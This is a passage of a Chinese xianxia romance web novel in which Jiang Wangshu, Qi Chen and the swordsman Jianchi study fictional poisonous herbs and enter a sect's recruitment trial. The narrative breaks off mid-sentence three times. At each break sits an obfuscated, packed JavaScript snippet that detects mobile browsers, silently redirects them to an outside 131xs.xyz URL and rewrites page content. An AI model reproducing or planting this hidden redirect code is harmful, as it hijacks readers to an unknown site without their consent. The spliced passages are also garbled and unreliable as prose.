“如果我想的没错的话,考核的内容应该会和毒的使用有关,这几天我们确实应该抓紧时间恶补一下这方面的认识,以免出意外。”姜望舒认真思索道。 他们几个对于毒的认识都不算深刻,姜望舒再次感慨,要是苏梓在就好了,好歹能教他们一下。 最后商议决定姜望舒、祁辰和剑痴去参加阴月派的招生选拔,消消还没有成年,化形后难以维持成年人的身形,所以不方便去,云舒就留在流云派看守宗门。 看到云舒眼下的乌青,姜望舒心头涌上担忧,乖巧应道:“四师兄,你也不要太累了,看你的黑眼圈都快要掉到地上了,是不是没睡好?” 云舒含笑摸摸姜望舒的脑袋:“没事。” 突然,剑痴猛地站起来,说话磕磕绊绊,“我我我”了半天,一句完整的话都说不出来,从他毫无逻辑的话语中,在场除了云舒都是一头雾水,不明白他想表达什么。 云舒轻笑,如寒冰碎玉般的人转换成温润暖玉。 在云舒的二次翻译下,其他人才得知,原来是自从剑痴来到流云派以来,心绪不宁,隐隐有暴虐倾向,他那所谓的剑气意念也让云舒颇为忌惮,虽然他未必能打得过自己,但也担心他疯起来毁了流云派。 无奈,他只能重操旧业,每隔一两天就飞到剑痴的房顶上吹笛子,如此这般,自然是没睡好。 也就是在这事发生一个星期多的时候,剑痴才察觉到每天半夜都会有乐器演奏的声音,对云舒充满感激,但又不好意思表达出来,只是默默包揽下了流云派的伙食,让云舒能够更自在一些。 看到两人相处不错,姜望舒也就放心了,当时她还是有些担心剑痴这木木的性子,会打扰到四师兄的生活。 “姜姑娘,这是你的玉佩,感谢,我之前不知道在捉妖师门派里,这东西每个人都只有一个。”剑痴将传送令牌还给姜望舒,耳尖有些红,快步离开。 是夜,其他人都去休息了,姜望舒独自跑到后山去,流云派的藏书阁建在这里,她穿过一片桑树林,在林中的一个隐蔽的角落找到了藏书阁。 据说当时还是因为师娘喜欢吃桑葚,所以师父才在后山种下这一篇桑树林。 藏书阁是依山而建的,相当于将部分山体挖空当作放书的地方,所以从外面看只有一扇巨大的木门,当然,这门上也有和流云派大门一样的禁忌,非宗门内部的弟子不能打开。 姜望舒踩着木门前几块青灰色的砖瓦,在内心感慨这里的门倒不像流云派别院中的门那样破旧,就在她伸出手想要推开门的时候,一个熟悉的声音喊住她。 “诶呦,让我看看某人大半夜不睡觉,鬼鬼祟祟干什么呢?” 姜望舒光是听到这个声音就知道是谁来了,嘴角一弯,这现成的劳动力不就上赶着来了?不用白不用。 转头看去,果然是祁辰。 他正坐在树梢,身形修长,如同一株在夜风中摇曳的孤竹,今夜,似乎连月光都格外偏爱他,银色的光辉温柔地包裹着他的身形,使他少了平时几分桀骜不驯的散漫,平添了温柔。 此刻,树枝在他身下微微弯曲,他的眉眼狭长,嘴角勾起一抹似有若无的弧度,深邃的目光一直跟随着她的动作,而后从树梢上跳下,拍了拍自己衣摆上不小心沾染的灰尘。 姜望舒脑海中一根名为理智的弦瞬间崩断,鬼使神差般地伸手抱住了他。 在她看不到的地方,祁辰先是愣了一下,然后轻轻扬唇一笑,用力回抱住她,一只大手还轻柔的摸着她的脑袋。 猎物,终于上钩了,不枉费他一番心思地摆姿势。 良久,反应过来的姜望舒耳尖通红,坏了,是美男计,中招了,顿觉身上也有些燥热,拉开了两人之间的距离。 眼见到姜望舒朦朦的神色又要恢复正常,祁辰伸手在姜望舒的脸上轻抚,没忍住又捏了一下,明明姜望舒看着脸上没有多少肉,但捏起来却软软的。 好可爱。 “你!”姜望舒打掉他的手,笑眼弯弯道,“既然来了,就帮我一起找书吧!” 话音刚落,祁辰的眼中果然多了幽怨。 推开藏书阁的门,一股淡淡的书香扑面而来,内部空间开阔,姜望舒按下开关,顶部悬挂着一盏盏的吊灯立刻散发出柔和光芒,将整个藏书阁照得通明。 姜望舒是来找有关毒使用的书籍的,趁着这几天,拿出去和祁辰、剑痴一起恶补一下这方面的知识。 这里被一排排高耸的书架分割成无数的通道,书架上摆满了密密麻麻的书,从古老的书简到精美的美的绢帛,涵盖了许多内容,唯一的缺点就是,分类并不清楚,整个房间的中间有几张样式老旧的木桌和几把椅子,是阅读用的。 祁辰脸色变了变,指着几架书说:“你不要说,我们是要从这么多书中找和用毒相关的!” 姜望舒不是第一次来这里了,但是她一般都是去看阵法和符纸制作相关的书籍,所以制毒用毒相关的她还真不太清楚,眼神一转,她突然发现有几排书架上写了草药,心里顿时有了主意。 “要不我们就从毒药的制作来学起吧,就钻研一下草药中的毒物,学会了的话也不是一无所知,考核的时候顶多算学艺不精。” 听到这,祁辰的脸色变好了一些,自觉和姜望舒一起走到写着草药的书架,爬上梯子,仔细查看起来。 两个人一起干活,倒是多了些劲头,莫名较起劲儿来,比起到底谁能找到的书更多。 “等等!我发现了,你耍赖,那本书上根本就没有和毒相关的!”找着找着,祁辰眼尖的发现姜望舒偷偷往下面扔了一本,立刻激动地指着书控诉道,不知道的还以为发现了什么绝世珍宝。 姜望舒瞥了书一眼,非常淡定道:“哦?是吗?也不能全学如何下毒,咱们也要会解毒啊是不是!难道只有草药可以做到?初学的时候不能有这种错误思想而把路走窄了,这本书里面有讲解,一些特殊的妖也有解毒的天赋。” 一番话说的滴水不漏,祁辰哑了半天,要不是他看到她心虚地直揪头发,他就真信了,可也只能无奈摇头,一翻手,一个翠绿的镯子出现在手掌上,骨节分明的大手衬得那镯子越发小巧。 在藏书阁柔和的灯光下,那枚翠绿色的和田玉镯子宛如一汪静谧的湖水,静静地躺在他手掌心,透着温润。 姜望舒结果他伸手递过来的镯子仔细看了看,它的颜色是一种极为纯净的翠绿,如同春天初绽的新叶,带着生机与活力,却又丝毫不显张扬,绿色深浅过度得恰到好处,质地细腻如脂。 的确很漂亮,她眼睛一亮。 “这……是何意?” “之前你把我的追踪标记消掉了……所以这次我将追踪标记想办法封入这枚玉镯中,”祁辰低头,目光闪躲,“而且这玉镯里有我的妖力,必要时候可以直接进入我的居所,是一片我创造的空间。” 姜望舒仔细观察镯子内侧,才发现里面确实有一个和上次一模一样的标记。 见到她一直没有开口说话,而是盯着镯子摆弄,祁辰心中居然有些忐忑,早知道当初就做得再精美一些了。 兀地,姜望舒侧头看过来,相视的眼神像是绵密的细雨,如网一般斜织在空中,笼罩在彼此之间,她笑了,还是那样的眉眼弯弯,祁辰措不及防跌入她那晨曦般的笑容中。 “那就,谢谢妖王大人啦!” 克制不住的欢喜涌上心头,祁辰上前一步道:“我来帮你带。”说完,用术法直接将镯子套了进去,避免带之前摩擦的疼痛。 有时候,姜望舒实在很好奇,祁辰的年龄那么大,为什么害羞起来居然会像一个大男孩一样青涩,想得太投入,以至于她下意识地就问出口了:“祁辰,你没有过另一半?” 本来还在扭捏的妖王祁辰听到这话,还真的思考起来,之后摇头道:“没有,在我地盘上的妖怪不敢靠近我,发现我身份的人类都死了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好像自从回到流云派后,祁辰就从摸她脑袋改成了揉,总是喜欢将她的头发弄得凌乱,直到有几根呆毛立起才会作罢,不知道是什么癖好。 “不用,我趴在阵法里的桌子上睡,这样还能睡得更久!”姜望舒灵机一动。 谁说藏书阁里的法宝只能用来学习了?这不,睡觉也香! 她直接拉开凳子一坐,枕着胳膊就趴下了,不多时,呼吸变得均匀平缓,柔软的发丝垂落在桌面,遮住了大半张脸,通宵一整夜实在是太累了,虽然她表面上看着还是精神气十足,实则一直在强撑。 祁辰坐在她旁边,轻轻叹了口气,就知道她早就困了,所以才赶她去睡觉的,没想到还是这么犟。 他单手撑着脸,百无聊赖地看着姜望舒睡觉,像一只熟睡的小猫,注意到她脑袋上还顶着刚刚被自己弄出来的呆毛,他嘴角上扬,良久,不需要睡眠的妖王刚刚还在注视着姜望舒,却被困意悄然俘获。 这法阵的确很不错。 祁辰想着,随手捏了个诀,也缓缓闭上眼睛。 等姜望舒再次有意识的时候,外面才刚刚过了三个时辰,正是流云派晨练的时间,她睁开眼睛,发现祁辰居然闭着眼睛坐在她旁边,手撑着脸,不知道是睡着了还是在闭目养神。 目光一转,发现他身旁的时间诀,心下了然,自己是醒早了,果断转个方向继续睡! 粒粒分明的白米饭入口,还带着淡淡的米香,姜望舒才终于觉得自己活过来了,说来惭愧,她和祁辰实在是太能睡了,上午的学习时光就这么被睡没了,直接中午回来吃饭了。 姜望舒痛定思痛,喃喃道:“我这个年纪怎么睡得着的!怎么睡得着的!” 下一瞬又被一大碗清炖鸡汤转移了注意力,汤面上漂浮着几片姜丝和葱花,汤汁清澈,香气扑鼻,之前尝惯了宗门内师兄师姐的手艺,才发现剑痴做的菜也这么好吃! 37. 游踪问寻(三十七) 餐桌上,姜望舒和另外两人说明了情况后,都觉得到结界内学习可行。 流云派唯一有毒草的地方就是苏梓的住处,可惜苏梓不在,他们未经允许也不能进到她的院子里。 草药的分辨是一个细致活,形态差别大的还好,一些只有叶子形状不同的,粗心大意的人会直接略过,将其归类为一种。 在书籍上,记录了一种名叫噬心花的草药,这种花的花瓣呈现出深紫色,边缘有奇异的花纹,但花芯却是罕见的黑色,噬心花的毒性极为霸道,一旦被其叶片划伤,伤口会迅速腐烂,蔓延至全身,中毒者会在短时间内陷入深度昏迷,最终化为一滩血水。 如若伤口得到及时治疗,这种毒素还会在体内潜伏,一旦受到惊吓或是情绪波动便会再次发作,让人痛苦不堪。 可是又有另一种仙草,名为紫粉草,但从花瓣来看,和噬心花别无二致,只有花芯有显著的区别,只要对比就会发现,紫粉草的花芯是桃粉色的,看起来非常显眼。 区分这两种草药是入门的最基本要求,除此之外还有名字极为类似但长相相差极大的,例如金灵子和金铃子,前者是灵芝状的,属于滋养的补品,而后者则是铃兰状的毒物。 姜望舒倒还好,她记东西比较快,只是偶尔会出点无伤大雅的小错误,祁辰本来就是植物,身为同类,他扫一眼就知道这些花花草草是个什么本性。 用他的原话来说就是:“本座身为万妖之王,更是所有植物的主宰,任它再怪再毒,也不敢动到我头上。” 剑痴虽然看着呆呆的,不善言辞,但记起这些草药倒是意外的快,只是他看书有个弊端,总是容易跑神又去盯自己手中的剑,所以进度很慢,为此,姜望舒和祁辰想了许多法子。 姜望舒:“剑痴,你想想,你现在多认识一些草药,来日找到那位花妖的可能性就更大!” 听到后的剑痴眼中星光点点,终于有了反应,郑重地“嗯”了一声,之后居然又神色温柔地盯着手中的剑,不知道想到了什么美好的回忆,沉溺在自己的世界里。 祁辰用眼神示意姜望舒:行不通,看我来! 他白净修长的手指敲敲桌面,剑痴怀中抱着的剑就突然消失了,原本还在盯着看的剑痴大惊失色,慌忙站起身,不甚打掉了桌子上面的书。 剑痴眉头紧皱,双手下意识地在身上摸索,却什么也抓不到,整个人手足无措,完全不知道该如何是好,而后镇定的表情瞬间崩塌,眼神也变得空洞起来。 “本….本人跟你说,你现在把这些草药都记住,你的剑和花都能回来。” 想到自己的身份还不能暴露,所以祁辰修改了一下自己常用的措辞,说“本座”的时候嘴硬生生地拐了个弯,嚣张惯了,这样还真他妈憋屈! 可是剑痴像是什么都听不到,只是执着地认为他弄丢了最宝贵的东西,万念俱灰的模样。 “够了!”姜望舒毫不留情地拍了祁辰肩膀一下,“你赶紧还给他吧!你看他那个样子都快不行了!” 祁辰十分听话地又敲敲桌面,空间被撕裂,木剑又重新出现在剑痴的怀里,他这才安静下来,失而复得的喜悦甚至让他忘记追究罪魁祸首。 这下两人都束手无策了。 “花妖应当最喜欢的就是花花草草,你趁现在挑一个最好看的,日后寻来送给她,她一定会欢喜得很。” 坐在长桌另一边的云舒淡淡抬头看过来,声音肃然而冷冽,如同莫得感情的机器。 奇迹出现了。 剑痴居然真的把怀中剑放到自己的桌前,神情专注,翻书查找,片刻后,他在桌面上铺上一张泛黄的宣纸,旁边摆放着一方端砚,砚中墨汁浓稠,散发着淡淡的墨香。 他执笔的手指修长而有力,微微低着头,目光在书页上缓缓移动,不时用毛笔在宣纸上落下,笔尖在纸上跳跃,留下一行行工整的字迹,和刚刚失魂落魄自闭的样子判若两人。 高,实在是高! 姜望舒悟了,所以想要激发一个人的动力,最好是定一个短期能看得见结果的目标,而不是画一个虚无缥缈的大饼。 看得见结果的目标:花妖会喜欢挑出来的花花草草。虚无缥缈的大饼:或许对救花妖有帮助。 待他将一切记录完毕,木讷的脸上难得露出些许纠结,目不转睛地盯着那张平整的宣纸,就在姜望舒都觉得纸张要被他盯穿时,终于,男人长叹一口气,摇头,看向姜望舒这边。 “这纸上我至少挑出二十余种草药,可实在不知道改选哪一个好,如果我全都寻来送给她,她会高兴吗?” 这话问在场唯一的女性,那就算是问错人了。 姜望舒只喜欢亮晶晶的石头,不喜欢别人送她一大把花花草草,还是有毒的,她会怀疑对方想要谋杀。 她尴尬地挠头,把脑后的鱼尾辫都揪得略显凌乱。这头发还是在被祁辰弄乱后,某位妖王大人为了将功赎罪又编的。 这下轮到祁辰不太开心了,伸手握住了她的手腕,拯救了可怜的辫子。 “当然不是越多越好,就如同弱水三千只取一瓢,你如果这样一送一大束,那么就显得没有精心挑选过,越稀少且被大部分人认可的物件才越有价值,受人追捧。” 清冷的声音再次传来,云舒再爆金句,就连姜望舒都在反思自己是不是太贪得无厌了,当然是多多益善,另一边的祁辰也在反思,自己东西是不是送多了,显得太风流。 剑痴眼神变得前所未有的坚定,郑重其事地“嗯”了一声,接着云舒的话就说:“我现在就把这些草药的功能、颜值以及稀有度排个序,综合选择一个最好的。” 云舒莞尔一笑,视线从手上的书本上移开,嗓音放缓道:“还要记得看看他们的生长地和获得途径,有便于日后去寻。” 姜望舒和祁辰对视一眼:云舒高,实在是高! 云舒从来不笑,更多的是礼貌的微笑,而他的长相更像父亲一些,更多时候显得很冷淡,直到刚刚,姜望舒才发现,他的桃花眼笑起来倒真有些狐妖的魅惑,犹如冰雪融化后露出的娇艳花朵。 好记性不如烂笔头,姜望舒决心效仿,拿起桌上的毛笔,要下笔的时候却犯了难。 她的手画的了符,布得了阵,甩得了鞭,但写出来的字却歪歪扭扭,还不如直接画下来。 气氛出奇的安静,只有书页翻动的沙沙声和毛笔拂过纸张的细微声响,除了祁辰在百无聊赖地将水滴状态的消消捏成各种形状外,其他人都在加急向脑内注入知识。 这是祁辰找到的新乐趣,水滴本来就能够根据环境变化成各种不同的形状和形态,只是因为消消有了灵识,习惯了水滴形态,变成冰块会觉得冷,变成水汽又觉得窒息。 所以到最后就只能改变形状了。 祁辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431759|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴微抬,悠哉悠哉地开腔:“放心,本座会赐予你一个极其威武的形象,捏出来,让葱雾森林里的大部分妖怪都惧怕你这小小的水滴妖。” 他说这话其实不严重,顶多算糊弄小孩子玩,问题是消消还真信了,于是乎自愿成为祁辰手中的“橡皮泥”。 消消不是没有怀疑过这件事情的真实性,所以趁着他们在法阵里学习的期间,消消到葱雾森林内部去过一趟,是以祁辰捏出来的形象去的。 他没有让祁辰跟着一起,狐假虎威的道理小水滴也懂,结果真如祁辰所说,遇到的几只百年修为的妖怪见到他都绕路走。 自此,对于祁辰所说的捏造形象,消消深信不疑。 姜望舒知道这件事情的时候忍住自己抽搐的嘴角,她一眼就看透是祁辰在消消身上留下了妖王的气息,所以那些妖怪才不敢靠近,可惜他还是太单纯。 不过两人谁都没有点破这件事情的真相,其一,给两只妖都找点乐子,其二,以防消消冲动找祁辰打架,有助于维护团队和谐。 “决定了,就瑶草吧!” 剑痴突然抬头,拿着宣纸,走到姜望舒身边,眼神都没有离开过纸面,如同交作业的学生,示意她帮自己审查一下可行否。 纸还没有放到桌面上,就半路被祁辰截胡了:“别总盯着我家望舒,我也是植物类的妖怪,更懂花妖,来,让我帮你看一下。” “你家的?”“滚蛋!” 前一句来自困惑的姜望舒,后一句来自愤怒的云舒。 瑶草的名字听起来平平无奇,叶片寥寥无几,纤细而柔长,宛如翠绿的丝带,很容易让人联想到温婉的女子,据剑痴所说,那个花妖的名字里就有一个瑶字。 没想到剑痴挑选了半天,幽冥花、光冰草、艳毒琉璃等等都没有入他的眼,最后选了一个看似更加柔和的草药。 由此,姜望舒还推测那位花妖应当也是个温柔的女子。 姜望舒也没有见过瑶草,据书中记载,其茎干通体晶莹剔透,触之冰凉温润,如玉石般带着一丝若有若无的暖意,瑶草不会开花,只有几条叶子,草性喜阴凉。 尽管其看起来如此温和,实际上它对于生长的环境要求极为苛刻,多生长于严寒的北方冰川,更矛盾的是,一旦这种草药生根发芽,就难以死亡,生命力极强。 “这里为什么没有记录瑶草的功效?” 姜望舒又拿出书本翻了翻,发现的确没有记录这草药的功效的,于是侧目看向祁辰寻求答案。 祁辰用手敲了敲纸上写的“生命力极强”,缓缓道:“当然有啊,这不就是它的功效么。” “这算是什么功效,只能算是它的天性吧!”姜望舒仍是不解,“又不是能够延长他人的寿命。” 如此说来,就是无用。 “谁说不能的?可以的,只不过方法十分复杂,”祁辰矢口否认,“一般的书籍并没有记载过,需要一种特殊的草药,曼珠沙华,具体的过程可能只有瑶草和曼珠沙华两族知晓了。” 姜望舒不禁好奇起来,凑近了些,追问道:“既然如此困难,那么效果一定很不错,你身为妖…..植物妖怪,难道也不知道吗?” 好险,差点说漏嘴吓死另外两个人了。 祁辰伸手弹她脑袋,嘴唇勾起:“当然知道,两者必须有一方修炼出灵识,然后……” “够了!” 38. 繁华似锦遮不住(三十八) 祁辰的话还没有说完,就被剑痴粗暴地打断了,他的情绪似乎变得激动起来,一把夺过祁辰手中的宣纸,声音明显紧张道:“这瑶草不好,不去寻了,我要换一个。” 祁辰和姜望舒被他激烈的反应吓了一跳,连用法术捏着漂浮在半空中的消消都因此掉落下来,一脸懵地站在地面上。 云舒也莫名其妙地看过来,不明白剑痴为什么会反应那么激烈,他们刚刚也没有在谈论什么吧! “哦,行,那就换一个,等会我帮你看。” 祁辰怔愣片刻,很快回过神来,无所谓地耸肩,只要这小子不再粘着姜望舒,他可以勉为其难地指点一二,虽然还是看他不太顺眼就是了。 而此刻的姜望舒却又被另一件事情震惊到了,谁能告诉她那个可爱的肉嘟嘟的小男孩哪里去了!这站在地上的大萝卜是个什么情况?! 姜望舒:不敢睁开眼,希望是自己的幻觉。 别过头去,再转过头来,怎么还是一颗大萝卜!!! “消消……?”姜望舒颤抖着手指着地上的透明大水萝卜确认。 水萝卜,顾名思义,就是水做的萝卜。 透明大萝卜转过身,他的白色果皮上有鼻子有眼的,还是消消之前的脸,上面还有几撮黑色的头发,姜望舒眼前一黑,险些晕过去。 还好他长得矮,从云舒的角度发现不了他,剑痴又是个不闻不问的,只会沉浸在他喜欢的事物中,所以在场只有姜望舒受到了暴击。 消消的表情变得得意起来,呲牙,露出一排洁白的牙齿,开心道:“望舒姐,你怎么这副表情,是也被小爷的形象吓到了吗?没关系的,你永远都是小爷的望舒姐。” “妖王大人,小弟愿意永远追随您!”消消高兴地一蹦一蹦的,被姜望舒及时按住,不让他接着吓到自己的四师兄,毕竟相处这么久,她也算是看出来四师兄人狠话不多的性格,不像别人,还能在发狠前说道说道,装装逼格,他是真有可能一剑劈了这丑东西。 “祁辰,我数三个数,你赶紧把消消给我变回来!” 祁辰撇嘴,心中暗叹一口气,好不容易把消消变得丑了一点,以此衬托出自己的美貌,让姜望舒的目光能够多停留在自己身上几分,可惜自己的小心机就这么付之东流了,白费他将自己的妖王气息留在消消身上了。 他一挥手,解除了消消身上的术法,还顺道收回了自己的气息。 没用的家伙,不配拥有本座的东西。 看到地上的透明大萝卜变回那个可爱男孩模样,姜望舒这才松了一口气,这份惊悚就让她独自承受好了! 不明所以的消消还有些不满,认为自己好不容易威风了几回,但在抬头触及到姜望舒严肃的目光时,又蔫蔫地低下头妥协了。 傻水滴妖!被卖了还在帮别人数钱!他的道行尚浅,哪里能玩得过老树妖呢? 几人这一学,便过了五日,直接等来了阴月派的招收选拔,阴月派的选址和流云派的大不相同,它位于人类生活中心的地段,也就是在京城旁边。 阴月派单独建立了一座城市,就以其门派的名称命名为阴月城,其热闹繁华程度仅次于京城,毕竟是附属于皇家,受禄于天子,还不敢太过于奢华,超过京城。 当今,只有青天派是独立的存在,完全依靠自己门派的势力,以为其捉妖师的实力足够强,且沈天的后代不是天赋奇高,就是在别的方面颇有建树,因此门派可以自给自足,不需要皇室的资助。 多年来,青天派宗门一直深居于华岭峰,只有进行大型的捉妖比赛或者出现影响范围较大的混乱时才会出世,该门派的弟子在外一向低调行事,从不干预历代朝廷内部的政务。 正是因为青天派宗门的训诫为天道酬勤,以正为尊,刚毅果决,所以,尽管随着时间的推移,一部分极其优秀的弟子也会入朝为官,他们都还谨记宗门训诫,在朝廷上行的是不偏不倚的道路,不允许拉帮结派。 的确,如果不是他们向来行事如此,说不定皇家会汇聚其他捉妖师宗门以及自己的军队攻打青天派。 当然,其他宗门能否打得过青天派的事情要另说,一方面实力的确存在差距,另一方面,华岭峰地势险要,易守难攻,但山峰之上地势开拓,即使困于山上,在储备充足的情况下,死守数年亦非难事。 由着是阴月派的招生考核,所以这阴月城内也是十分热闹,当然,还是赶不上当初捉妖大赛的盛况,进城前,大门口处有身穿阴月派服制的弟子守在门口排查可疑人物。 普通的老百姓需要有通关文牒才能进入,朝中官员需要携带相应的官服文件、腰牌等证明自己的身份,捉妖师还可以出示自己所在门派的令牌。 这次来参加招募的只有姜望舒、祁辰和剑痴三人。 姜望舒戴上面具后,原本清纯秀丽的脸立刻变得平平无奇,只是可惜面具无法遮挡住她的眼睛,愈发衬托她眼睛的漂亮。 祁辰也选了个看着憨厚的人皮面具,事实证明,一个人的脸真的很重要,他经过这么一改造面相,俨然变成了一个老实巴交的城民模样。 再加上剑痴本来看起来就木讷,他们三个看起来就是一个看起来非常好骗的组合,就连商贩对他们说这东西保真都不会怀疑一下就直接购买的天真百姓。 对此,姜望舒表示十分满意,这样就很难引起别人的怀疑,大大方便了他们的行动。祁辰也很满意,不过他是因为自己可以扮猪吃老虎,单纯觉得有趣罢了。 在通过大门的时候,三人果然被拦了下来,阴月派的弟子服很华丽,袖口上有一轮月牙。 即使姜望舒的确有流云派的令牌,她也没办法使用,此行就是为了能够混进阴月派的,好在从近段时间开始,阴月城突然新增了一条规定,进城可以用妖怪的尸体来换。这也就导致城内的安全问题变得越来越严重,宗门不得不派出更多弟子到城内巡逻,目前为止倒是没有发生过什么影响恶劣的事情。 之前在京城捉妖师大赛的时候,姜望舒最后被师父师娘抓回流云派,所以妖怪的尸体也没来得及上交,还一直在自己的储物袋里呢!这回正好派上用场了。 她痛快地选了三只妖怪的尸体,守卫的弟子看他们的眼神都从最开始的轻蔑到正经了,本来以为只是三个老实人,没想到是实力不俗的捉妖师。 他们几人的动作很迅速,姜望舒只是把三只妖怪的尸体另外装进一个空的收纳袋里,守卫向里面看了一眼,伸手转换到自己的收纳袋中,全程都没有其他人发现。 进了城,姜望舒感慨果然是铺张奢靡的音乐派,周边的商铺都是清一色的华丽装修风格,而且贩卖妖怪的居多,什么食补、香水、衣物。 难得的,她感觉到祁辰似乎是生气了,每次他和自己在一起,都是一副笑眯眯的样子,但现在他全然收了那副悠然的模样,嘴唇紧紧地抿成了一条直线,微微下撇,连带着整个面部的线条都僵硬起来。 此刻的他,浑身上下都透露着一股冷峻的不悦,纤纤素手将他攥紧的拳头一点点掰开,然后反握住,让那股子狠劲儿瞬间烟消云散,取而代之的是一种乖顺。 姜望舒明白他的心情还是很糟糕,只要再被触碰到一根神经,就会彻底爆发出来,她的手指轻轻摩挲着他的,他的手比她大上不少,很轻易地就将其包裹在其中。 她想要开口,却不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439854|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道该如何说,毕竟如果今天店铺里卖的都是人类,她心中可能也会悲愤交加,控制不住失态。 姜望舒知道,虽然祁辰素日看起来对很多事情都不在意,但面对无辜惨死的同类还是会愤怒不已,他是它们的王,它们敬重他,他倒没有责任爱护,可看着它们惨死而无动于衷的事情他亦是做不到。 淡淡的草木清香扑鼻而来,男人的怀抱温暖有力,他的手臂缓缓收紧,将她拥入怀中,下巴轻轻抵在她的发顶。 “不气不气。”姜望舒拍着他的后背。 “好。” 头顶上传来的声音低沉而温柔,像是夜风中的呢喃,却有着令姜望舒不可抵抗的力量,让她觉得心安。 剑痴也没好到哪里去,他的声音都带着一丝颤抖道:“瑶瑶不会也……” 没有人能回答这个问题,他像是想起什么似的,手忙脚乱地打开木剑内的夹层,看到那片花瓣还富有生命力,才稍稍放心下来。 整理好情绪,三人向阴月城东方走去,那里是宗门的偏殿,这次的招募大会就在偏殿举行,他们每一步都走得分外沉重。 报名的流程和京城捉妖大赛差不多,姜望舒谎称他们几个的通关文牒都被弄丢了,所以没有办法一个人的身份报名,但是他们在入城的时候就已经交了妖怪的尸体,希望能通融一下。 “什么修为的妖怪?”其中一个高个子的阴月派弟子双手抱臂,一脸警惕的样子,反观他身边那个矮个子的弟子,就显得随和多了, 姜望舒假装一脸为难,低声说:“我们几人没有门派,都是靠自己修炼才好不容易到这个地步,所以这妖怪只有三十几年的修为。”说完,她随意将手放在木桌子上,咔嚓一声,桌面出现了很多裂纹。 两名弟子:……感觉自己被威胁了是怎么回事? “行吧行吧,留下姓名后就可以进殿内等着了。” 剑痴和祁辰两人都没有动作,见状,姜望舒只能硬着头皮,用自己歪歪扭扭的毛笔字写下了三人的名字:姜姜、橙子、剑,旋即就要往里走去。 登记的阴月派弟子刚刚从那扭曲的线条中辨别出字来,满头黑线质问道:“等等!你们确定你们真的叫这个名字?” 祁辰凑近去看,一个没忍住,噗嗤一声笑了出来,前两个名字也就算了,最后一个“剑”是什么鬼,听起来像是在骂人。 姜望舒一脸无辜,剑痴的名字就两个字,叫“痴”岂不是也很奇怪?还好他本人对此并不在意。 好笑归好笑,做戏还是要做全套的,祁辰在两名弟子看过来之前就整理好了表情,真诚地点头,确定他们的确叫这个名字。 “是这样的,我们都是从小山村出来的,名字是家中父母取的。” 历经百般波折,姜望舒和另外两人终于进到大殿中,来这里的人很多,按照顺序排队站好,她粗略数了一下,按照每排十人来计算,现在这里有近百人。 大殿的装点风格和皇宫很像,巍峨雄伟,高耸的梁柱上雕刻着各种花纹,紫光闪闪,最中间的位置后面有一轮紫色的月亮,殿内弥漫着一种奇特的香气。 来的弟子大多很年轻,他们或紧张,或兴奋,或自信满满,或忐忑不安,大部分人都身着朴素的布艺,显然是来自普通人家,眼中都是对于捉妖修行的憧憬,这并不奇怪,有大背景的弟子也不会费力通过层层选拔了。 当然,也有一些气质不凡,衣着华丽的弟子,带着几分傲气,应当是家中还算富足。 不过,姜望舒慢慢地将所有在场的人看了个遍,她演的很好,在外人看来,就是没见过世面四处张望着,这么一仔细观察,她倒真的觉出有些不对劲了。 39. 繁华似锦遮不住(三十九) 在大殿的角落,站着一名女子,打扮得很朴素,她脸上的表情却很奇怪,似乎对于加入阴月派并不感到期待,反而是厌恶,最明显的是下压的嘴角。 是被家里人逼着来的?这倒也不是什么稀罕事,阴月派的名气那么大,就像是从众心理一般,稍微有些天赋的都会想或者被家人逼来试一试。 就在姜望舒思索的间隙,第一轮招募已经开始了,考核很简单,向阴月派特制的测试石攻击,以此来检测实力,合格者可以留下来进行下一轮的选拔。 一位身着青衫的男弟子走上前,朝前方的阴月派内门弟子深深鞠躬,朗声报上自己的姓名和来历,眼神坚定而清澈,透着一股不屈的劲儿,不出意外,他考核时,测试石直接出现了一道裂缝,顺利通过了。 那名奇怪的女子在他们前面进行测试,姜望舒特意留意了一下她的名字:温华。 温华就要弱上少许,测试石上只是出现了一个小坑,阴月派的弟子似乎是有些纠结,后来远处弟子跑过来,不知道在他们耳边说了什么,就勉强收下了温华,也算是勉强通关,只是不知道她内心是否高兴了。 轮到姜望舒和祁辰的时候,他二人都保留了自己的真实实力,姜望舒连自己的长鞭都没有拿出来,反而直接向测试石推出一掌,她是在场唯一一个没有使用武器的捉妖师,其实她就是想看看自己□□凡躯能够做到什么程度。 再说,既然要装作淳朴的村民,又怎么会有法器这等高级的东西呢?所以只能用自己的手了。 结果令她本人都有点吃惊,测试石直接裂成小碎块。 “天啊,快看,那个小姑娘看起来平平无奇,内力竟如此醇厚,不需要借助武器就可以做到这种程度,说她是这次考核比赛的第一名也不为过。”大殿内有人切切私语道。 也有人提出反对意见:“先别说大话,这不是还剩下那么多人呢!” 更有酸溜溜的声音道:“就是,阴月派以用毒闻名天下,她内力的确强,可是看样子却不会用武器,而且对于毒未必了解。‘ 